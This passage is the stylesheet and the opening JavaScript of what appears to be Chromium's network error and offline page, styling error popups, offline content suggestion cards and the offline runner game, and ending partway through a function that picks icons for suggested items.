  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDI0djI0SDB6Ii8+PHBhdGggZD0iTTExIDE4aDJ2LTJoLTJ2MnptMS0xNkM2LjQ4IDIgMiA2LjQ4IDIgMTJzNC40OCAxMCAxMCAxMCAxMC00LjQ4IDEwLTEwUzE3LjUyIDIgMTIgMnptMCAxOGMtNC40MSAwLTgtMy41OS04LThzMy41OS04IDgtOCA4IDMuNTkgOCA4LTMuNTkgOC04IDh6bTAtMTRjLTIuMjEgMC00IDEuNzktNCA0aDJjMC0xLjEuOS0yIDItMnMyIC45IDIgMmMwIDItMyAxLjc1LTMgNWgyYzAtMi4yNSAzLTIuNSAzLTUgMC0yLjIxLTEuNzktNC00LTR6Ii8+PC9zdmc+);
  height: 24px;
  vertical-align: -.15em;
  width: 24px;
}

.use-popup-container#error-information-popup-container
  #error-information-popup {
  align-items: center;
  background-color: var(--popup-container-background-color);
  display: flex;
  height: 100%;
  left: 0;
  position: fixed;
  top: 0;
  width: 100%;
  z-index: 100;
}

.use-popup-container#error-information-popup-container
  #error-information-popup-content > p {
  margin-bottom: 11px;
  margin-inline-start: 20px;
}

.use-popup-container#error-information-popup-container #suggestions-list ul {
  margin-inline-start: 15px;
}

.use-popup-container#error-information-popup-container
  #error-information-popup-box {
  background-color: var(--background-color);
  left: 5%;
  padding-bottom: 15px;
  padding-top: 15px;
  position: fixed;
  width: 90%;
  z-index: 101;
}

.use-popup-container#error-information-popup-container div.error-code {
  margin-inline-start: 20px;
}

.use-popup-container#error-information-popup-container #suggestions-list p {
  margin-inline-start: 20px;
}

:not(.use-popup-container)#error-information-popup-container
  #error-information-popup-close {
  display: none;
}

#error-information-popup-close {
  margin-bottom: 0;
  margin-inline-end: 35px;
  margin-top: 15px;
  text-align: end;
}

.link-button {
  color: rgb(66, 133, 244);
  display: inline-block;
  font-weight: bold;
  text-transform: uppercase;
}

#sub-frame-error-details {

  color: #8F8F8F;

  /* Not done on mobile for performance reasons. */
  text-shadow: 0 1px 0 rgba(255,255,255,0.3);

}

[jscontent=hostName],
[jscontent=failedUrl] {
  overflow-wrap: break-word;
}

.secondary-button {
  background: #d9d9d9;
  color: #696969;
  margin-inline-end: 16px;
}

.snackbar {
  background: #323232;
  border-radius: 2px;
  bottom: 24px;
  box-sizing: border-box;
  color: #fff;
  font-size: .87em;
  left: 24px;
  max-width: 568px;
  min-width: 288px;
  opacity: 0;
  padding: 16px 24px 12px;
  position: fixed;
  transform: translateY(90px);
  will-change: opacity, transform;
  z-index: 999;
}

.snackbar-show {
  -webkit-animation:
    show-snackbar 250ms cubic-bezier(0, 0, 0.2, 1) forwards,
    hide-snackbar 250ms cubic-bezier(0.4, 0, 1, 1) forwards 5s;
}

@-webkit-keyframes show-snackbar {
  100% {
    opacity: 1;
    transform: translateY(0);
  }
}

@-webkit-keyframes hide-snackbar {
  0% {
    opacity: 1;
    transform: translateY(0);
  }
  100% {
    opacity: 0;
    transform: translateY(90px);
  }
}

.suggestions {
  margin-top: 18px;
}

.suggestion-header {
  font-weight: bold;
  margin-bottom: 4px;
}

.suggestion-body {
  color: #777;
}

/* Decrease padding at low sizes. */
@media (max-width: 640px), (max-height: 640px) {
  h1 {
    margin: 0 0 15px;
  }
  .suggestions {
    margin-top: 10px;
  }
  .suggestion-header {
    margin-bottom: 0;
  }
}

#download-link,
#download-link-clicked {
  margin-bottom: 30px;
  margin-top: 30px;
}

#download-link-clicked {
  color: #BBB;
}

#download-link::before,
#download-link-clicked::before {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
  display: inline-block;
  margin-inline-end: 4px;
  vertical-align: -webkit-baseline-middle;
}

#download-link-clicked::before {
  opacity: 0;
  width: 0;
}

#offline-content-list-visibility-card {
  border: 1px solid white;
  border-radius: 8px;
  display: flex;
  font-size: .8em;
  justify-content: space-between;
  line-height: 1;
}

#offline-content-list.list-hidden #offline-content-list-visibility-card {
  border-color: rgb(218, 220, 224);
}

#offline-content-list-visibility-card > div {
  padding: 1em;
}

#offline-content-list-title {
  color: var(--google-gray-700);
}

#offline-content-list-show-text,
#offline-content-list-hide-text {
  color: rgb(66, 133, 244);
}

/* Hides the "hide" text div when the offline content list is collapsed/hidden
 * and, alternatively, hides the "show" text div when the offline content list
 * is expanded/shown.
 */
#offline-content-list.list-hidden #offline-content-list-hide-text,
#offline-content-list:not(.list-hidden) #offline-content-list-show-text {
  display: none;
}

/* Controls the animation of the offline content list when it is expanded/shown.
 */
#offline-content-suggestions {
  /* Max-height has to be set for the height animation to work. The chosen value
   * is a little greater than the maximum height the list will have, when all
   * suggestions have images, so that it is never clamped. This makes so that
   * when the actual height is smaller then the animation is not as smooth.
   */
  max-height: 27em;
  transition: max-height 200ms ease-in, visibility 0s 200ms,
              opacity 200ms 200ms linear;
}

/* Controls the animation of the offline content list when it is
 * collapsed/hidden.
 */
#offline-content-list.list-hidden #offline-content-suggestions {
  max-height: 0;
  opacity: 0;
  transition: opacity 200ms linear, visibility 0s 200ms,
              max-height 200ms 200ms ease-out;
  visibility: hidden;
}

#offline-content-list {
  margin-inline-start: -5%;
  width: 110%;
}

/* The selectors below adjust the "overflow" of the suggestion cards contents
 * based on the same screen size based strategy used for the main frame, which
 * is applied by the `interstitial-wrapper` class. */
@media (max-width: 420px)  {
  #offline-content-list {
    margin-inline-start: -2.5%;
    width: 105%;
  }
}
@media (max-width: 420px) and (orientation: portrait),
       (max-height: 560px) {
  #offline-content-list {
    margin-inline-start: -12px;
    width: calc(100% + 24px);
  }
}

.suggestion-with-image .offline-content-suggestion-thumbnail {
  flex-basis: 8.2em;
  flex-shrink: 0;
}

.suggestion-with-image .offline-content-suggestion-thumbnail > img {
  height: 100%;
  width: 100%;
}

.suggestion-with-image #offline-content-list:not(.is-rtl)
.offline-content-suggestion-thumbnail > img {
  border-bottom-right-radius: 7px;
  border-top-right-radius: 7px;
}

.suggestion-with-image #offline-content-list.is-rtl
.offline-content-suggestion-thumbnail > img {
  border-bottom-left-radius: 7px;
  border-top-left-radius: 7px;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail {
  align-items: center;
  display: flex;
  justify-content: center;
  min-height: 4.2em;
  min-width: 4.2em;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail > div {
  align-items: center;
  background-color: rgb(241, 243, 244);
  border-radius: 50%;
  display: flex;
  height: 2.3em;
  justify-content: center;
  width: 2.3em;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail > div > img {
  height: 1.45em;
  width: 1.45em;
}

.offline-content-suggestion-favicon {
  height: 1em;
  margin-inline-end: 0.4em;
  width: 1.4em;
}

.offline-content-suggestion-favicon > img {
  height: 1.4em;
  width: 1.4em;
}

.no-favicon .offline-content-suggestion-favicon {
  display: none;
}

.image-video {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTcgMTAuNVY3YTEgMSAwIDAgMC0xLTFINGExIDEgMCAwIDAtMSAxdjEwYTEgMSAwIDAgMCAxIDFoMTJhMSAxIDAgMCAwIDEtMXYtMy41bDQgNHYtMTFsLTQgNHoiIGZpbGw9IiMzQzQwNDMiLz48L3N2Zz4=);
}

.image-music-note {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTIgM3Y5LjI2Yy0uNS0uMTctMS0uMjYtMS41LS4yNkM4IDEyIDYgMTQgNiAxNi41UzggMjEgMTAuNSAyMXM0LjUtMiA0LjUtNC41VjZoNFYzaC03eiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}

.image-earth {
  content: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIgMmM1LjUyIDAgMTAgNC40OCAxMCAxMHMtNC40OCAxMC0xMCAxMFMyIDE3LjUyIDIgMTIgNi40OCAyIDEyIDJ6TTQgMTJoNC40YzMuNDA3LjAyMiA0LjkyMiAxLjczIDQuNTQzIDUuMTI3SDkuNDg4djIuNDdhOC4wMDQgOC4wMDQgMCAwIDAgMTAuNDk4LTguMDgzQzE5LjMyNyAxMi41MDQgMTguMzMyIDEzIDE3IDEzYy0yLjEzNyAwLTMuMjA2LS45MTYtMy4yMDYtMi43NWgtMy43NDhjLS4yNzQtMi43MjguNjgzLTQuMDkyIDIuODctNC4wOTIgMC0uOTc1LjMyNy0xLjU5Ny44MTEtMS45N0E4LjAwNCA4LjAwNCAwIDAgMCA0IDEyeiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}

.image-file {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMgOVYzLjVMMTguNSA5TTYgMmMtMS4xMSAwLTIgLjg5LTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOGwtNi02SDZ6IiBmaWxsPSIjM0M0MDQzIi8+PC9zdmc+);
}

.offline-content-suggestion-texts {
  display: flex;
  flex-direction: column;
  justify-content: space-between;
  line-height: 1.3;
  padding: .9em;
  width: 100%;
}

.offline-content-suggestion-title {
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 3;
  color: rgb(32, 33, 36);
  display: -webkit-box;
  font-size: 1.1em;
  overflow: hidden;
  text-overflow: ellipsis;
}

div.offline-content-suggestion {
  align-items: stretch;
  border: 1px solid rgb(218, 220, 224);
  border-radius: 8px;
  display: flex;
  justify-content: space-between;
  margin-bottom: .8em;
}

.suggestion-with-image {
  flex-direction: row;
  height: 8.2em;
  max-height: 8.2em;
}

.suggestion-with-icon {
  flex-direction: row-reverse;
  height: 4.2em;
  max-height: 4.2em;
}

.suggestion-with-icon .offline-content-suggestion-title {
  -webkit-line-clamp: 1;
  word-break: break-all;
}

.suggestion-with-icon .offline-content-suggestion-texts {
  padding-inline-start: 0;
}

.offline-content-suggestion-attribution-freshness {
  color: rgb(95, 99, 104);
  display: flex;
  font-size: .8em;
  line-height: 1.7em;
}

.offline-content-suggestion-attribution {
  -webkit-box-orient: vertical;
  -webkit-line-clamp: 1;
  display: -webkit-box;
  flex-shrink: 1;
  margin-inline-end: 0.3em;
  overflow: hidden;
  overflow-wrap: break-word;
  text-overflow: ellipsis;
  word-break: break-all;
}

.no-attribution .offline-content-suggestion-attribution {
  display: none;
}

.offline-content-suggestion-freshness::before {
  content: '-';
  display: inline-block;
  flex-shrink: 0;
  margin-inline-end: .1em;
  margin-inline-start: .1em;
}

.no-attribution .offline-content-suggestion-freshness::before {
  display: none;
}

.offline-content-suggestion-freshness {
  flex-shrink: 0;
}

.suggestion-with-image .offline-content-suggestion-pin-spacer {
  flex-grow: 100;
  flex-shrink: 1;
}

.suggestion-with-image .offline-content-suggestion-pin {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PGRlZnM+PHBhdGggaWQ9ImEiIGQ9Ik0wIDBoMjR2MjRIMFYweiIvPjwvZGVmcz48Y2xpcFBhdGggaWQ9ImIiPjx1c2UgeGxpbms6aHJlZj0iI2EiIG92ZXJmbG93PSJ2aXNpYmxlIi8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjYikiIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9zdmc+);
  flex-shrink: 0;
  height: 1.4em;
  margin-inline-start: .4em;
  width: 1.4em;
}

/* Controls the animation (and a bit more) of the launch-downloads-home action
 * button when the offline content list is expanded/shown.
 */
#offline-content-list-action {
  text-align: center;
  transition: visibility 0s 200ms, opacity 200ms 200ms linear;
}

/* Controls the animation of the launch-downloads-home action button when the
 * offline content list is collapsed/hidden.
 */
#offline-content-list.list-hidden #offline-content-list-action {
  opacity: 0;
  transition: opacity 200ms linear, visibility 0s 200ms;
  visibility: hidden;
}

#cancel-save-page-button {
  background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ij48Y2xpcFBhdGggaWQ9Im1hc2siPjxwYXRoIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiM5QUEwQTYiIGQ9Ik0wIDBoMjR2MjRIMHoiLz48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiMxQTczRTgiIHN0eWxlPSJhbmltYXRpb246b2ZmbGluZUFuaW1hdGlvbiA0cyBpbmZpbml0ZSIgZD0iTTAgMGgyNHYyNEgweiIvPjxzdHlsZT5Aa2V5ZnJhbWVzIG9mZmxpbmVBbmltYXRpb257MCUsMzUle2hlaWdodDowfTYwJXtoZWlnaHQ6MTAwJX05MCV7ZmlsbC1vcGFjaXR5OjF9dG97ZmlsbC1vcGFjaXR5OjB9fTwvc3R5bGU+PC9zdmc+);
  background-position: right 27px center;
  background-repeat: no-repeat;
  border: 1px solid var(--google-gray-300);
  border-radius: 5px;
  color: var(--google-gray-700);
  margin-bottom: 26px;
  padding-bottom: 16px;
  padding-inline-end: 88px;
  padding-inline-start: 16px;
  padding-top: 16px;
  text-align: start;
}

html[dir='rtl'] #cancel-save-page-button {
  background-position: left 27px center;
}

#save-page-for-later-button {
  display: flex;
  justify-content: start;
}

#save-page-for-later-button a::before {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
  display: inline-block;
  margin-inline-end: 4px;
  vertical-align: -webkit-baseline-middle;
}

.hidden#save-page-for-later-button {
  display: none;
}

/* Don't allow overflow when in a subframe. */
html[subframe] body {
  overflow: hidden;
}

#sub-frame-error {
  -webkit-align-items: center;
  -webkit-flex-flow: column;
  -webkit-justify-content: center;
  background-color: #DDD;
  display: -webkit-flex;
  height: 100%;
  left: 0;
  position: absolute;
  text-align: center;
  top: 0;
  transition: background-color 200ms ease-in-out;
  width: 100%;
}

#sub-frame-error:hover {
  background-color: #EEE;
}

#sub-frame-error .icon-generic {
  margin: 0 0 16px;
}

#sub-frame-error-details {
  margin: 0 10px;
  text-align: center;
  visibility: hidden;
}

/* Show details only when hovering. */
#sub-frame-error:hover #sub-frame-error-details {
  visibility: visible;
}

/* If the iframe is too small, always hide the error code. */
/* TODO(mmenke): See if overflow: no-display works better, once supported. */
@media (max-width: 200px), (max-height: 95px) {
  #sub-frame-error-details {
    display: none;
  }
}

/* Adjust icon for small embedded frames in apps. */
@media (max-height: 100px) {
  #sub-frame-error .icon-generic {
    height: auto;
    margin: 0;
    padding-top: 0;
    width: 25px;
  }
}

/* details-button is special; it's a <button> element that looks like a link. */
#details-button {
  box-shadow: none;
  min-width: 0;
}

/* Styles for platform dependent separation of controls and details button. */
.suggested-left > #control-buttons,
.suggested-right > #details-button {
  float: left;
}

.suggested-right > #control-buttons,
.suggested-left > #details-button {
  float: right;
}

.suggested-left .secondary-button {
  margin-inline-end: 0;
  margin-inline-start: 16px;
}

#details-button.singular {
  float: none;
}

/* download-button shows both icon and text. */
#download-button {
  padding-bottom: 4px;
  padding-top: 4px;
  position: relative;
}

#download-button::before {
  background: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAAO0lEQVQ4y2NgGArgPxIY1YChsOE/LtBAmpYG0mxpIOSDBpKUo2lpIDZxNJCkHKqlYZAla3RAHQ1DFgAARRroHyLNTwwAAAAASUVORK5CYII=) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAQAAAD9CzEMAAAAZElEQVRYw+3Ruw3AMAwDUY3OzZUmRRD4E9iim9wNwAdbEURHyk4AAAAATiCVK8lLyPsKeT9K3lsownnunfkPxO78hKiYHxBV8x2icr5BVM+/CMf8g3DN34Rzns6ViwHUAUQ/6wIAd5Km7l6c8AAAAABJRU5ErkJggg==) 2x)
    no-repeat;
  content: '';
  display: inline-block;
  height: 24px;
  margin-inline-end: 4px;
  margin-inline-start: -4px;
  vertical-align: middle;
  width: 24px;
}

#download-button:disabled {
  background: rgb(180, 206, 249);
  color: rgb(255, 255, 255);
}

#buttons::after {
  clear: both;
  content: '';
  display: block;
  width: 100%;
}

/* Offline page */
html[dir='rtl'] .runner-container,
html[dir='rtl'].offline .icon-offline {
  transform: scaleX(-1);
}

.offline {
  transition: filter 1.5s cubic-bezier(0.65, 0.05, 0.36, 1),
              background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);

  will-change: filter, background-color;

}

.offline body {
  transition: background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
}

.offline #main-message > p {
  display: none;
}

.offline.inverted {
  background-color: #fff;
  filter: invert(1);
}

.offline.inverted body {
  background-color: #fff;
}

.offline .interstitial-wrapper {
  color: var(--text-color);
  font-size: 1em;
  line-height: 1.55;
  margin: 0 auto;
  max-width: 600px;
  padding-top: 100px;
  position: relative;
  width: 100%;
}

.offline .runner-container {
  direction: ltr;
  height: 150px;
  max-width: 600px;
  overflow: hidden;
  position: absolute;
  top: 35px;
  width: 44px;
}

.offline .runner-container:focus {
  outline: none;
}

.offline .runner-container:focus-visible {
  outline: 3px solid var(--google-blue-300);
}

.offline .runner-canvas {
  height: 150px;
  max-width: 600px;
  opacity: 1;
  overflow: hidden;
  position: absolute;
  top: 0;
  z-index: 10;
}

.offline .controller {
  height: 100vh;
  left: 0;
  position: absolute;
  top: 0;
  width: 100vw;
  z-index: 9;
}

#offline-resources {
  display: none;
}

#offline-instruction {
  image-rendering: pixelated;
  left: 0;
  margin: auto;
  position: absolute;
  right: 0;
  top: 60px;
  width: fit-content;
}

.offline-runner-live-region {
  bottom: 0;
  clip-path: polygon(0 0, 0 0, 0 0);
  color: var(--background-color);
  display: block;
  font-size: xx-small;
  overflow: hidden;
  position: absolute;
  text-align: center;
  transition: color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
  user-select: none;
}

/* Custom toggle */
.slow-speed-option {
  align-items: center;
  background: var(--google-gray-50);
  border-radius: 24px/50%;
  bottom: 0;
  color: var(--error-code-color);
  display: inline-flex;
  font-size: 1em;
  left: 0;
  line-height: 1.1em;
  margin: 5px auto;
  padding: 2px 12px 3px 20px;
  position: absolute;
  right: 0;
  width: max-content;
  z-index: 999;
}

.slow-speed-option.hidden {
  display: none;
}

.slow-speed-option [type=checkbox] {
  opacity: 0;
  pointer-events: none;
  position: absolute;
}

.slow-speed-option .slow-speed-toggle {
  cursor: pointer;
  margin-inline-start: 8px;
  padding: 8px 4px;
  position: relative;
}

.slow-speed-option [type=checkbox]:disabled ~ .slow-speed-toggle {
  cursor: default;
}

.slow-speed-option-label [type=checkbox] {
  opacity: 0;
  pointer-events: none;
  position: absolute;
}

.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option .slow-speed-toggle::after {
  content: '';
  display: block;
  margin: 0 3px;
  transition: all 100ms cubic-bezier(0.4, 0, 1, 1);
}

.slow-speed-option .slow-speed-toggle::before {
  background: rgb(189,193,198);
  border-radius: 0.65em;
  height: 0.9em;
  width: 2em;
}

.slow-speed-option .slow-speed-toggle::after {
  background: #fff;
  border-radius: 50%;
  box-shadow: 0 1px 3px 0 rgb(0 0 0 / 40%);
  height: 1.2em;
  position: absolute;
  top: 51%;
  transform: translate(-20%, -50%);
  width: 1.1em;
}

.slow-speed-option [type=checkbox]:focus + .slow-speed-toggle {
  box-shadow: 0 0 8px rgb(94, 158, 214);
  outline: 1px solid rgb(93, 157, 213);
}

.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
  background: var(--google-blue-600);
  opacity: 0.5;
}

.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after {
  background: var(--google-blue-600);
  transform: translate(calc(2em - 90%), -50%);
}

.slow-speed-option [type=checkbox]:checked:disabled +
  .slow-speed-toggle::before {
  background: rgb(189,193,198);
}

.slow-speed-option [type=checkbox]:checked:disabled +
  .slow-speed-toggle::after {
  background: var(--google-gray-50);
}

@media (max-width: 420px) {
  #download-button {
    padding-bottom: 12px;
    padding-top: 12px;
  }

  .suggested-left > #control-buttons,
  .suggested-right > #control-buttons {
    float: none;
  }

  .snackbar {
    border-radius: 0;
    bottom: 0;
    left: 0;
    width: 100%;
  }
}

@media (max-height: 350px) {
  h1 {
    margin: 0 0 15px;
  }

  .icon-offline {
    margin: 0 0 10px;
  }

  .interstitial-wrapper {
    margin-top: 5%;
  }

  .nav-wrapper {
    margin-top: 30px;
  }
}

@media (min-width: 420px) and (max-width: 736px) and
       (min-height: 240px) and (max-height: 420px) and
       (orientation:landscape) {
  .interstitial-wrapper {
    margin-bottom: 100px;
  }
}

@media (max-width: 360px) and (max-height: 480px) {
  .offline .interstitial-wrapper {
    padding-top: 60px;
  }

  .offline .runner-container {
    top: 8px;
  }
}

@media (min-height: 240px) and (orientation: landscape) {
  .offline .interstitial-wrapper {
    margin-bottom: 90px;
  }

  .icon-offline {
    margin-bottom: 20px;
  }
}

@media (max-height: 320px) and (orientation: landscape) {
  .icon-offline {
    margin-bottom: 0;
  }

  .offline .runner-container {
    top: 10px;
  }
}

@media (max-width: 240px) {
  button {
    padding-inline-end: 12px;
    padding-inline-start: 12px;
  }

  .interstitial-wrapper {
    overflow: inherit;
    padding: 0 8px;
  }
}

@media (max-width: 120px) {
  button {
    width: auto;
  }
}

.arcade-mode,
.arcade-mode .runner-container,
.arcade-mode .runner-canvas {
  image-rendering: pixelated;
  max-width: 100%;
  overflow: hidden;
}

.arcade-mode #buttons,
.arcade-mode #main-content {
  opacity: 0;
  overflow: hidden;
}

.arcade-mode .interstitial-wrapper {
  height: 100vh;
  max-width: 100%;
  overflow: hidden;
}

.arcade-mode .runner-container {
  left: 0;
  margin: auto;
  right: 0;
  transform-origin: top center;
  transition: transform 250ms cubic-bezier(0.4, 0, 1, 1) 400ms;
  z-index: 2;
}

@media (prefers-color-scheme: dark) {
  .icon {
    filter: invert(1);
  }

  .offline .runner-canvas {
    filter: invert(1);
  }

  .offline.inverted {
    background-color: var(--background-color);
    filter: invert(0);
  }

  .offline.inverted body {
    background-color: #fff;
  }

  .offline.inverted .offline-runner-live-region {
    color: #fff;
  }

  #suggestions-list a {
    color: var(--link-color);
  }

  #error-information-button {
    filter: invert(0.6);
  }

  .slow-speed-option {
    background: var(--google-gray-800);
    color: var(--google-gray-100);
  }

  .slow-speed-option .slow-speed-toggle::before,
  .slow-speed-option [type=checkbox]:checked:disabled +
    .slow-speed-toggle::before {
     background: rgb(189,193,198);
  }

  .slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after,
  .slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
    background: var(--google-blue-300);
  }
}
</style>
  <script>// Copyright 2013 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * @typedef {{
 *   downloadButtonClick: function(),
 *   reloadButtonClick: function(string),
 *   detailsButtonClick: function(),
 *   diagnoseErrorsButtonClick: function(),
 *   trackEasterEgg: function(),
 *   updateEasterEggHighScore: function(number),
 *   resetEasterEggHighScore: function(),
 *   launchOfflineItem: function(string, string),
 *   savePageForLater: function(),
 *   cancelSavePage: function(),
 *   listVisibilityChange: function(boolean),
 * }}
 */
// eslint-disable-next-line no-var
var errorPageController;

const HIDDEN_CLASS = 'hidden';

// Decodes a UTF16 string that is encoded as base64.
function decodeUTF16Base64ToString(encoded_text) {
  const data = atob(encoded_text);
  let result = '';
  for (let i = 0; i < data.length; i += 2) {
    result +=
        String.fromCharCode(data.charCodeAt(i) * 256 + data.charCodeAt(i + 1));
  }
  return result;
}

function toggleHelpBox() {
  const helpBoxOuter = document.getElementById('details');
  helpBoxOuter.classList.toggle(HIDDEN_CLASS);
  const detailsButton = document.getElementById('details-button');
  if (helpBoxOuter.classList.contains(HIDDEN_CLASS)) {
    /** @suppress {missingProperties} */
    detailsButton.innerText = detailsButton.detailsText;
  } else {
    /** @suppress {missingProperties} */
    detailsButton.innerText = detailsButton.hideDetailsText;
  }

  // Details appears over the main content on small screens.
  if (mobileNav) {
    document.getElementById('main-content').classList.toggle(HIDDEN_CLASS);
    const runnerContainer = document.querySelector('.runner-container');
    if (runnerContainer) {
      runnerContainer.classList.toggle(HIDDEN_CLASS);
    }
  }
}

function diagnoseErrors() {
  if (window.errorPageController) {
    errorPageController.diagnoseErrorsButtonClick();
  }
}

// Subframes use a different layout but the same html file.  This is to make it
// easier to support platforms that load the error page via different
// mechanisms (Currently just iOS). We also use the subframe style for portals
// as they are embedded like subframes and can't be interacted with by the user.
let isSubFrame = false;
if (window.top.location !== window.location || window.portalHost) {
  document.documentElement.setAttribute('subframe', '');
  isSubFrame = true;
}

// Re-renders the error page using |strings| as the dictionary of values.
// Used by NetErrorTabHelper to update DNS error pages with probe results.
function updateForDnsProbe(strings) {
  const context = new JsEvalContext(strings);
  jstProcess(context, document.getElementById('t'));
  onDocumentLoadOrUpdate();
}

// Adds an icon class to the list and removes classes previously set.
function updateIconClass(newClass) {
  const frameSelector = isSubFrame ? '#sub-frame-error' : '#main-frame-error';
  const iconEl = document.querySelector(frameSelector + ' .icon');

  if (iconEl.classList.contains(newClass)) {
    return;
  }

  iconEl.className = 'icon ' + newClass;
}

// Implements button clicks.  This function is needed during the transition
// between implementing these in trunk chromium and implementing them in iOS.
function reloadButtonClick(url) {
  if (window.errorPageController) {
    // 

    // 
    errorPageController.reloadButtonClick();
    // 
  } else {
    window.location = url;
  }
}

function downloadButtonClick() {
  if (window.errorPageController) {
    errorPageController.downloadButtonClick();
    const downloadButton = document.getElementById('download-button');
    downloadButton.disabled = true;
    /** @suppress {missingProperties} */
    downloadButton.textContent = downloadButton.disabledText;

    document.getElementById('download-link-wrapper')
        .classList.add(HIDDEN_CLASS);
    document.getElementById('download-link-clicked-wrapper')
        .classList.remove(HIDDEN_CLASS);
  }
}

function detailsButtonClick() {
  if (window.errorPageController) {
    errorPageController.detailsButtonClick();
  }
}

let primaryControlOnLeft = true;
// clang-format off
// 
// clang-format on
primaryControlOnLeft = false;
// 

function setAutoFetchState(scheduled, can_schedule) {
  document.getElementById('cancel-save-page-button')
      .classList.toggle(HIDDEN_CLASS, !scheduled);
  document.getElementById('save-page-for-later-button')
      .classList.toggle(HIDDEN_CLASS, scheduled || !can_schedule);
}

function savePageLaterClick() {
  errorPageController.savePageForLater();
  // savePageForLater will eventually trigger a call to setAutoFetchState() when
  // it completes.
}

function cancelSavePageClick() {
  errorPageController.cancelSavePage();
  // setAutoFetchState is not called in response to cancelSavePage(), so do it
  // now.
  setAutoFetchState(false, true);
}

function toggleErrorInformationPopup() {
  document.getElementById('error-information-popup-container')
      .classList.toggle(HIDDEN_CLASS);
}

function launchOfflineItem(itemID, name_space) {
  errorPageController.launchOfflineItem(itemID, name_space);
}

function launchDownloadsPage() {
  errorPageController.launchDownloadsPage();
}

function getIconForSuggestedItem(item) {
  // Note: |item.content_type| contains the enum values from
  // chrome::mojom::AvailableContentType.
  switch (item.content_type) {
    case 1:  // kVideo
      return 'image-video';
